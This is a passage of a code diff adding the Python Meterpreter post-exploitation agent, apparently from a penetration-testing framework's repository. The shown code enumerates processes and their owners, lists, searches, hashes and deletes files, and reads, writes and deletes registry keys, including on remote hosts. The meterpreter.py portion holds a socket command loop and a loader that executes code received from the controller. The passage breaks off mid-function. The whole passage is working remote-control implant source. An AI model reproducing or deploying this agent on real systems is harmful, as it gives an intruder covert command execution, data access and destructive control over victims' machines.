+			proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
486
+		exe_path = (ctypes.c_char * 1024)()
487
+		success = False
488
+		if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
489
+			success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
490
+		elif hasattr(k32, 'GetModuleFileNameExA'):
491
+			success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
492
+		if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
493
+			dw_sz = ctypes.c_uint32()
494
+			dw_sz.value = ctypes.sizeof(exe_path)
495
+			success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
496
+		if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
497
+			success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
498
+		if success:
499
+			exe_path = ctypes.string_at(exe_path)
500
+		else:
501
+			exe_path = ''
502
+		complete_username = ''
503
+		tkn_h = ctypes.c_long()
504
+		tkn_len = ctypes.c_uint32()
505
+		if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
506
+			ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
507
+			buf = (ctypes.c_ubyte * tkn_len.value)()
508
+			if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
509
+				user_tkn = SID_AND_ATTRIBUTES()
510
+				ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
511
+				username = (ctypes.c_char * 512)()
512
+				domain = (ctypes.c_char * 512)()
513
+				u_len = ctypes.c_uint32()
514
+				u_len.value = ctypes.sizeof(username)
515
+				d_len = ctypes.c_uint32()
516
+				d_len.value = ctypes.sizeof(domain)
517
+				use = ctypes.c_ulong()
518
+				use.value = 0
519
+				ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
520
+				complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
521
+			k32.CloseHandle(tkn_h)
522
+		parch = windll_GetNativeSystemInfo()
523
+		is_wow64 = ctypes.c_ubyte()
524
+		is_wow64.value = 0
525
+		if hasattr(k32, 'IsWow64Process'):
526
+			if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
527
+				if is_wow64.value:
528
+					parch = PROCESS_ARCH_X86
529
+		pgroup = ''
530
+		pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
531
+		pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
532
+		pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
533
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
534
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
535
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
536
+		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
537
+		result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
538
+		k32.CloseHandle(proc_h)
539
+	k32.CloseHandle(proc_snap)
540
+	return ERROR_SUCCESS, response
541
+
542
+@meterpreter.register_function
543
+def stdapi_sys_process_get_processes(request, response):
544
+	if os.path.isdir('/proc'):
545
+		return stdapi_sys_process_get_processes_via_proc(request, response)
546
+	elif has_windll:
547
+		return stdapi_sys_process_get_processes_via_windll(request, response)
548
+	else:
549
+		return stdapi_sys_process_get_processes_via_ps(request, response)
550
+	return ERROR_FAILURE, response
551
+
552
+@meterpreter.register_function
553
+def stdapi_fs_chdir(request, response):
554
+	wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
555
+	os.chdir(wd)
556
+	return ERROR_SUCCESS, response
557
+
558
+@meterpreter.register_function
559
+def stdapi_fs_delete(request, response):
560
+	file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
561
+	os.unlink(file_path)
562
+	return ERROR_SUCCESS, response
563
+
564
+@meterpreter.register_function
565
+def stdapi_fs_delete_dir(request, response):
566
+	dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
567
+	if os.path.islink(dir_path):
568
+		del_func = os.unlink
569
+	else:
570
+		del_func = shutil.rmtree
571
+	del_func(dir_path)
572
+	return ERROR_SUCCESS, response
573
+
574
+@meterpreter.register_function
575
+def stdapi_fs_delete_file(request, response):
576
+	file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
577
+	os.unlink(file_path)
578
+	return ERROR_SUCCESS, response
579
+
580
+@meterpreter.register_function
581
+def stdapi_fs_file_expand_path(request, response):
582
+	path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
583
+	if path_tlv == '%COMSPEC%':
584
+		if platform.system() == 'Windows':
585
+			result = 'cmd.exe'
586
+		else:
587
+			result = '/bin/sh'
588
+	elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
589
+		result = '/tmp'
590
+	else:
591
+		result = os.getenv(path_tlv)
592
+	if not result:
593
+		return ERROR_FAILURE, response
594
+	response += tlv_pack(TLV_TYPE_FILE_PATH, result)
595
+	return ERROR_SUCCESS, response
596
+
597
+@meterpreter.register_function
598
+def stdapi_fs_getwd(request, response):
599
+	response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
600
+	return ERROR_SUCCESS, response
601
+
602
+@meterpreter.register_function
603
+def stdapi_fs_ls(request, response):
604
+	path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
605
+	path = os.path.abspath(path)
606
+	contents = os.listdir(path)
607
+	contents.sort()
608
+	for x in contents:
609
+		y = os.path.join(path, x)
610
+		response += tlv_pack(TLV_TYPE_FILE_NAME, x)
611
+		response += tlv_pack(TLV_TYPE_FILE_PATH, y)
612
+		response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
613
+	return ERROR_SUCCESS, response
614
+
615
+@meterpreter.register_function
616
+def stdapi_fs_md5(request, response):
617
+	if sys.version_info[0] == 2 and sys.version_info[1] < 5:
618
+		import md5
619
+		m = md5.new()
620
+	else:
621
+		import hashlib
622
+		m = hashlib.md5()
623
+	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
624
+	m.update(open(path, 'rb').read())
625
+	response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
626
+	return ERROR_SUCCESS, response
627
+
628
+@meterpreter.register_function
629
+def stdapi_fs_mkdir(request, response):
630
+	dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
631
+	os.mkdir(dir_path)
632
+	return ERROR_SUCCESS, response
633
+
634
+@meterpreter.register_function
635
+def stdapi_fs_search(request, response):
636
+	search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
637
+	search_root = ('' or '.') # sometimes it's an empty string
638
+	glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
639
+	recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
640
+	if recurse:
641
+		for root, dirs, files in os.walk(search_root):
642
+			for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
643
+				file_tlv  = ''
644
+				file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
645
+				file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
646
+				file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
647
+				response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
648
+	else:
649
+		for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
650
+			file_tlv  = ''
651
+			file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
652
+			file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
653
+			file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
654
+			response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
655
+	return ERROR_SUCCESS, response
656
+
657
+@meterpreter.register_function
658
+def stdapi_fs_separator(request, response):
659
+	response += tlv_pack(TLV_TYPE_STRING, os.sep)
660
+	return ERROR_SUCCESS, response
661
+
662
+@meterpreter.register_function
663
+def stdapi_fs_sha1(request, response):
664
+	if sys.version_info[0] == 2 and sys.version_info[1] < 5:
665
+		import sha1
666
+		m = sha1.new()
667
+	else:
668
+		import hashlib
669
+		m = hashlib.sha1()
670
+	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
671
+	m.update(open(path, 'rb').read())
672
+	response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
673
+	return ERROR_SUCCESS, response
674
+
675
+@meterpreter.register_function
676
+def stdapi_fs_stat(request, response):
677
+	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
678
+	st_buf = get_stat_buffer(path)
679
+	response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
680
+	return ERROR_SUCCESS, response
681
+
682
+@meterpreter.register_function
683
+def stdapi_net_socket_tcp_shutdown(request, response):
684
+	channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
685
+	channel = meterpreter.channels[channel_id]
686
+	channel.close()
687
+	return ERROR_SUCCESS, response
688
+
689
+@meterpreter.register_function_windll
690
+def stdapi_registry_close_key(request, response):
691
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
692
+	result = ctypes.windll.advapi32.RegCloseKey(hkey)
693
+	return ERROR_SUCCESS, response
694
+
695
+@meterpreter.register_function_windll
696
+def stdapi_registry_create_key(request, response):
697
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
698
+	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
699
+	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
700
+	res_key = ctypes.c_void_p()
701
+	if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
702
+		response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
703
+		return ERROR_SUCCESS, response
704
+	return ERROR_FAILURE, response
705
+
706
+@meterpreter.register_function_windll
707
+def stdapi_registry_delete_key(request, response):
708
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
709
+	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
710
+	flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
711
+	if (flags & DELETE_KEY_FLAG_RECURSIVE):
712
+		result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
713
+	else:
714
+		result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
715
+	return result, response
716
+
717
+@meterpreter.register_function_windll
718
+def stdapi_registry_delete_value(request, response):
719
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
720
+	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
721
+	result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
722
+	return result, response
723
+
724
+@meterpreter.register_function_windll
725
+def stdapi_registry_enum_key(request, response):
726
+	ERROR_MORE_DATA = 0xea
727
+	ERROR_NO_MORE_ITEMS = 0x0103
728
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
729
+	name = (ctypes.c_char * 4096)()
730
+	index = 0
731
+	tries = 0
732
+	while True:
733
+		result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
734
+		if result == ERROR_MORE_DATA:
735
+			if tries > 3:
736
+				break
737
+			name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
738
+			tries += 1
739
+			continue
740
+		elif result == ERROR_NO_MORE_ITEMS:
741
+			result = ERROR_SUCCESS
742
+			break
743
+		elif result != ERROR_SUCCESS:
744
+			break
745
+		tries = 0
746
+		response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
747
+		index += 1
748
+	return result, response
749
+
750
+@meterpreter.register_function_windll
751
+def stdapi_registry_enum_value(request, response):
752
+	ERROR_MORE_DATA = 0xea
753
+	ERROR_NO_MORE_ITEMS = 0x0103
754
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
755
+	name = (ctypes.c_char * 4096)()
756
+	name_sz = ctypes.c_uint32()
757
+	index = 0
758
+	tries = 0
759
+	while True:
760
+		name_sz.value = ctypes.sizeof(name)
761
+		result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
762
+		if result == ERROR_MORE_DATA:
763
+			if tries > 3:
764
+				break
765
+			name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
766
+			tries += 1
767
+			continue
768
+		elif result == ERROR_NO_MORE_ITEMS:
769
+			result = ERROR_SUCCESS
770
+			break
771
+		elif result != ERROR_SUCCESS:
772
+			break
773
+		tries = 0
774
+		response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
775
+		index += 1
776
+	return result, response
777
+
778
+@meterpreter.register_function_windll
779
+def stdapi_registry_load_key(request, response):
780
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
781
+	sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
782
+	file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
783
+	result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
784
+	return result, response
785
+
786
+@meterpreter.register_function_windll
787
+def stdapi_registry_open_key(request, response):
788
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
789
+	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
790
+	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
791
+	handle_id = ctypes.c_void_p()
792
+	if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
793
+		response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
794
+		return ERROR_SUCCESS, response
795
+	return ERROR_FAILURE, response
796
+
797
+@meterpreter.register_function_windll
798
+def stdapi_registry_open_remote_key(request, response):
799
+	target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
800
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
801
+	result_key = ctypes.c_void_p()
802
+	result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
803
+	if (result == ERROR_SUCCESS):
804
+		response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
805
+		return ERROR_SUCCESS, response
806
+	return ERROR_FAILURE, response
807
+
808
+@meterpreter.register_function_windll
809
+def stdapi_registry_query_class(request, response):
810
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
811
+	value_data = (ctypes.c_char * 4096)()
812
+	value_data_sz = ctypes.c_uint32()
813
+	value_data_sz.value = ctypes.sizeof(value_data)
814
+	result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
815
+	if result == ERROR_SUCCESS:
816
+		response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
817
+		return ERROR_SUCCESS, response
818
+	return ERROR_FAILURE, response
819
+
820
+@meterpreter.register_function_windll
821
+def stdapi_registry_query_value(request, response):
822
+	REG_SZ = 1
823
+	REG_DWORD = 4
824
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
825
+	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
826
+	value_type = ctypes.c_uint32()
827
+	value_type.value = 0
828
+	value_data = (ctypes.c_ubyte * 4096)()
829
+	value_data_sz = ctypes.c_uint32()
830
+	value_data_sz.value = ctypes.sizeof(value_data)
831
+	result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
832
+	if result == ERROR_SUCCESS:
833
+		response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
834
+		if value_type.value == REG_SZ:
835
+			response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
836
+		elif value_type.value == REG_DWORD:
837
+			response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
838
+		else:
839
+			response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
840
+		return ERROR_SUCCESS, response
841
+	return ERROR_FAILURE, response
842
+
843
+@meterpreter.register_function_windll
844
+def stdapi_registry_set_value(request, response):
845
+	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
846
+	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
847
+	value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
848
+	value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
849
+	result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
850
+	return result, response
851
+
852
+@meterpreter.register_function_windll
853
+def stdapi_registry_unload_key(request, response):
854
+	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
855
+	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
856
+	result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
857
+	return result, response

+ 410
- 0
data/meterpreter/meterpreter.py View File

@@ -0,0 +1,410 @@
1
+#!/usr/bin/python
2
+import code
3
+import ctypes
4
+import os
5
+import random
6
+import select
7
+import socket
8
+import struct
9
+import subprocess
10
+import sys
11
+import threading
12
+
13
+has_windll = hasattr(ctypes, 'windll')
14
+
15
+#
16
+# Constants
17
+#
18
+PACKET_TYPE_REQUEST = 0
19
+PACKET_TYPE_RESPONSE = 1
20
+PACKET_TYPE_PLAIN_REQUEST = 10
21
+PACKET_TYPE_PLAIN_RESPONSE = 11
22
+
23
+ERROR_SUCCESS = 0
24
+# not defined in original C implementation
25
+ERROR_FAILURE = 1
26
+
27
+CHANNEL_CLASS_BUFFERED = 0
28
+CHANNEL_CLASS_STREAM = 1
29
+CHANNEL_CLASS_DATAGRAM = 2
30
+CHANNEL_CLASS_POOL = 3
31
+
32
+#
33
+# TLV Meta Types
34
+#
35
+TLV_META_TYPE_NONE =       (   0   )
36
+TLV_META_TYPE_STRING =     (1 << 16)
37
+TLV_META_TYPE_UINT =       (1 << 17)
38
+TLV_META_TYPE_RAW =        (1 << 18)
39
+TLV_META_TYPE_BOOL =       (1 << 19)
40
+TLV_META_TYPE_COMPRESSED = (1 << 29)
41
+TLV_META_TYPE_GROUP =      (1 << 30)
42
+TLV_META_TYPE_COMPLEX =    (1 << 31)
43
+# not defined in original
44
+TLV_META_TYPE_MASK =    (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
45
+
46
+#
47
+# TLV base starting points
48
+#
49
+TLV_RESERVED =   0
50
+TLV_EXTENSIONS = 20000
51
+TLV_USER =       40000
52
+TLV_TEMP =       60000
53
+
54
+#
55
+# TLV Specific Types
56
+#
57
+TLV_TYPE_ANY =                 TLV_META_TYPE_NONE   |   0
58
+TLV_TYPE_METHOD =              TLV_META_TYPE_STRING |   1
59
+TLV_TYPE_REQUEST_ID =          TLV_META_TYPE_STRING |   2
60
+TLV_TYPE_EXCEPTION =           TLV_META_TYPE_GROUP  |   3
61
+TLV_TYPE_RESULT =              TLV_META_TYPE_UINT   |   4
62
+
63
+TLV_TYPE_STRING =              TLV_META_TYPE_STRING |  10
64
+TLV_TYPE_UINT =                TLV_META_TYPE_UINT   |  11
65
+TLV_TYPE_BOOL =                TLV_META_TYPE_BOOL   |  12
66
+
67
+TLV_TYPE_LENGTH =              TLV_META_TYPE_UINT   |  25
68
+TLV_TYPE_DATA =                TLV_META_TYPE_RAW    |  26
69
+TLV_TYPE_FLAGS =               TLV_META_TYPE_UINT   |  27
70
+
71
+TLV_TYPE_CHANNEL_ID =          TLV_META_TYPE_UINT   |  50
72
+TLV_TYPE_CHANNEL_TYPE =        TLV_META_TYPE_STRING |  51
73
+TLV_TYPE_CHANNEL_DATA =        TLV_META_TYPE_RAW    |  52
74
+TLV_TYPE_CHANNEL_DATA_GROUP =  TLV_META_TYPE_GROUP  |  53
75
+TLV_TYPE_CHANNEL_CLASS =       TLV_META_TYPE_UINT   |  54
76
+
77
+TLV_TYPE_SEEK_WHENCE =         TLV_META_TYPE_UINT   |  70
78
+TLV_TYPE_SEEK_OFFSET =         TLV_META_TYPE_UINT   |  71
79
+TLV_TYPE_SEEK_POS =            TLV_META_TYPE_UINT   |  72
80
+
81
+TLV_TYPE_EXCEPTION_CODE =      TLV_META_TYPE_UINT   | 300
82
+TLV_TYPE_EXCEPTION_STRING =    TLV_META_TYPE_STRING | 301
83
+
84
+TLV_TYPE_LIBRARY_PATH =        TLV_META_TYPE_STRING | 400
85
+TLV_TYPE_TARGET_PATH =         TLV_META_TYPE_STRING | 401
86
+TLV_TYPE_MIGRATE_PID =         TLV_META_TYPE_UINT   | 402
87
+TLV_TYPE_MIGRATE_LEN =         TLV_META_TYPE_UINT   | 403
88
+
89
+TLV_TYPE_CIPHER_NAME =         TLV_META_TYPE_STRING | 500
90
+TLV_TYPE_CIPHER_PARAMETERS =   TLV_META_TYPE_GROUP  | 501
91
+
92
+def generate_request_id():
93
+	chars = 'abcdefghijklmnopqrstuvwxyz'
94
+	return ''.join(random.choice(chars) for x in xrange(32))
95
+
96
+def packet_get_tlv(pkt, tlv_type):
97
+	offset = 0
98
+	while (offset < len(pkt)):
99
+		tlv = struct.unpack('>II', pkt[offset:offset+8])
100
+		if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
101
+			val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
102
+			if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
103
+				val = val.split('\x00', 1)[0]
104
+			elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
105
+				val = struct.unpack('>I', val)[0]
106
+			elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
107
+				val = bool(struct.unpack('b', val)[0])
108
+			elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
109
+				pass
110
+			return {'type':tlv[1], 'length':tlv[0], 'value':val}
111
+		offset += tlv[0]
112
+	return {}
113
+
114
+def tlv_pack(*args):
115
+	if len(args) == 2:
116
+		tlv = {'type':args[0], 'value':args[1]}
117
+	else:
118
+		tlv = args[0]
119
+	data = ""
120
+	if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
121
+		data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
122
+	elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
123
+		data = struct.pack('>III', 12, tlv['type'], tlv['value'])
124
+	elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
125
+		data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
126
+	elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
127
+		data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
128
+	elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
129
+		data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
130
+	elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
131
+		data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
132
+	return data
133
+
134
+class STDProcessBuffer(threading.Thread):
135
+	def __init__(self, std, is_alive):
136
+		threading.Thread.__init__(self)
137
+		self.std = std
138
+		self.is_alive = is_alive
139
+		self.data = ''
140
+		self.data_lock = threading.RLock()
141
+
142
+	def run(self):
143
+		while self.is_alive():
144
+			byte = self.std.read(1)
145
+			self.data_lock.acquire()
146
+			self.data += byte
147
+			self.data_lock.release()
148
+		self.data_lock.acquire()
149
+		self.data += self.std.read()
150
+		self.data_lock.release()
151
+
152
+	def is_read_ready(self):
153
+		return len(self.data) != 0
154
+
155
+	def read(self, l = None):
156
+		data = ''
157
+		self.data_lock.acquire()
158
+		if l == None:
159
+			data = self.data
160
+			self.data = ''
161
+		else:
162
+			data = self.data[0:l]
163
+			self.data = self.data[l:]
164
+		self.data_lock.release()
165
+		return data
166
+
167
+class STDProcess(subprocess.Popen):
168
+	def __init__(self, *args, **kwargs):
169
+		subprocess.Popen.__init__(self, *args, **kwargs)
170
+
171
+	def start(self):
172
+		self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
173
+		self.stdout_reader.start()
174
+		self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
175
+		self.stderr_reader.start()
176
+
177
+class PythonMeterpreter(object):
178
+	def __init__(self, socket):
179
+		self.socket = socket
180
+		self.extension_functions = {}
181
+		self.channels = {}
182
+		self.interact_channels = []
183
+		self.processes = {}
184
+		for func in filter(lambda x: x.startswith('_core'), dir(self)):
185
+			self.extension_functions[func[1:]] = getattr(self, func)
186
+		self.running = True
187
+
188
+	def register_function(self, func):
189
+		self.extension_functions[func.__name__] = func
190
+
191
+	def register_function_windll(self, func):
192
+		if has_windll:
193
+			self.register_function(func)
194
+
195
+	def add_channel(self, channel):
196
+		idx = 0
197
+		while idx in self.channels:
198
+			idx += 1
199
+		self.channels[idx] = channel
200
+		return idx
201
+
202
+	def add_process(self, process):
203
+		idx = 0
204
+		while idx in self.processes:
205
+			idx += 1
206
+		self.processes[idx] = process
207
+		return idx
208
+
209
+	def run(self):
210
+		while self.running:
211
+			if len(select.select([self.socket], [], [], 0)[0]):
212
+				request = self.socket.recv(8)
213
+				if len(request) != 8:
214
+					break
215
+				req_length, req_type = struct.unpack('>II', request)
216
+				req_length -= 8
217
+				request = ''
218
+				while len(request) < req_length:
219
+					request += self.socket.recv(4096)
220
+				response = self.create_response(request)
221
+				self.socket.send(response)
222
+			else:
223
+				channels_for_removal = []
224
+				channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
225
+				for channel_id in channel_ids:
226
+					channel = self.channels[channel_id]
227
+					data = ''
228
+					if isinstance(channel, STDProcess):
229
+						if not channel_id in self.interact_channels:
230
+							continue
231
+						if channel.stdout_reader.is_read_ready():
232
+							data = channel.stdout_reader.read()
233
+						elif channel.stderr_reader.is_read_ready():
234
+							data = channel.stderr_reader.read()
235
+						elif channel.poll() != None:
236
+							self.handle_dead_resource_channel(channel_id)
237
+					elif isinstance(channel, socket._socketobject):
238
+						while len(select.select([channel.fileno()], [], [], 0)[0]):
239
+							try:
240
+								d = channel.recv(1)
241
+							except socket.error:
242
+								d = ''
243
+							if len(d) == 0:
244
+								self.handle_dead_resource_channel(channel_id)
245
+								break
246
+							data += d
247
+					if data:
248
+						pkt  = struct.pack('>I', PACKET_TYPE_REQUEST)
249
+						pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
250
+						pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
251
+						pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
252
+						pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
253
+						pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
254
+						pkt  = struct.pack('>I', len(pkt) + 4) + pkt
255
+						self.socket.send(pkt)
256
+
257
+	def handle_dead_resource_channel(self, channel_id):
258
+		del self.channels[channel_id]
259
+		if channel_id in self.interact_channels:
260
+			self.interact_channels.remove(channel_id)
261
+		pkt  = struct.pack('>I', PACKET_TYPE_REQUEST)
262
+		pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
263
+		pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
264
+		pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
265
+		pkt  = struct.pack('>I', len(pkt) + 4) + pkt
266
+		self.socket.send(pkt)
267
+
268
+	def _core_loadlib(self, request, response):
269
+		data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
270
+		if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
271
+			return ERROR_FAILURE
272
+		preloadlib_methods = self.extension_functions.keys()
273
+		i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
274
+		i.runcode(compile(data_tlv['value'], '', 'exec'))
275
+		postloadlib_methods = self.extension_functions.keys()
276
+		new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
277
+		for method in new_methods:
278
+			response += tlv_pack(TLV_TYPE_METHOD, method)
279
+		return ERROR_SUCCESS, response
280
+
281
+	def _core_shutdown(self, request, response):
282
+		response += tlv_pack(TLV_TYPE_BOOL, True)
283
+		self.running = False
284
+		return ERROR_SUCCESS, response
285
+
286
+	def _core_channel_open(self, request, response):
287
+		channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
288
